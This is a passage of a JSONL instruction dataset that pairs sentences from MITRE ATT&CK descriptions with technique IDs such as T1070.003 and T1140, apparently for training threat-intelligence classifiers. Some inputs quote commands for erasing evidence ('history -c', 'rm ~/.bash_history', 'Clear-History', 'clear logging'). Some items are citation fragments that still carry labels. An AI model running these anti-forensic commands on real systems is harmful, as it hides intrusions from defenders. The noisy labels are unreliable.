that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes).", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, these command histories can be accessed in a few different ways.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, these command histories can be accessed in a few different ways. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The benefit of this is that it allows users to go back to commands they've used before in different sessions.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The benefit of this is that it allows users to go back to commands they've used before in different sessions. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The built-in history only tracks the commands used in the current session.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The built-in history only tracks the commands used in the current session. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command history is not available to other sessions and is deleted when the session ends.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command history is not available to other sessions and is deleted when the session ends. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default).", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", "output": "T1202", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. ### Response: T1202."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106).", "output": "T1202", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). ### Response: T1202."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.", "output": "T1202", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. ### Response: T1202."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)", "output": "T1202", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) ### Response: T1202."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", "output": "T1202", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. ### Response: T1202."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic.", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext. ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom encryption schemes may vary in sophistication.", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom encryption schemes may vary in sophistication. ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used. ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: F-Secure Cosmicduke)", "output": "T1024", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: F-Secure Cosmicduke) ### Response: T1024."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence.", "output": "T1536", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. ### Response: T1536."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.", "output": "T1536", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. ### Response: T1536."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation of this technique is to utilize temporary storage attached to the compute instance.", "output": "T1536", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation of this technique is to utilize temporary storage attached to the compute instance. ### Response: T1536."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "output": "T1536", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) ### Response: T1536."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes.", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation:", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploiting Smartphone USB )", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploiting Smartphone USB ) ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This infection may be achieved using devices (Android, iOS, etc.)", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This infection may be achieved using devices (Android, iOS, etc.) ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation:", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "iPhone Charging Cable Hack)", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: iPhone Charging Cable Hack) ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive.", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", "output": "T1091", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled). ### Response: T1091."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.", "output": "T1005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration. ### Response: T1005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco)", "output": "T1005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) ### Response: T1005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.", "output": "T1005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. ### Response: T1005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis.", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it.", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Methods for doing that include built-in functionality of malware or by using utilities present on the system.", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Methods for doing that include built-in functionality of malware or by using utilities present on the system. ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia)", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1140", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1140."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the 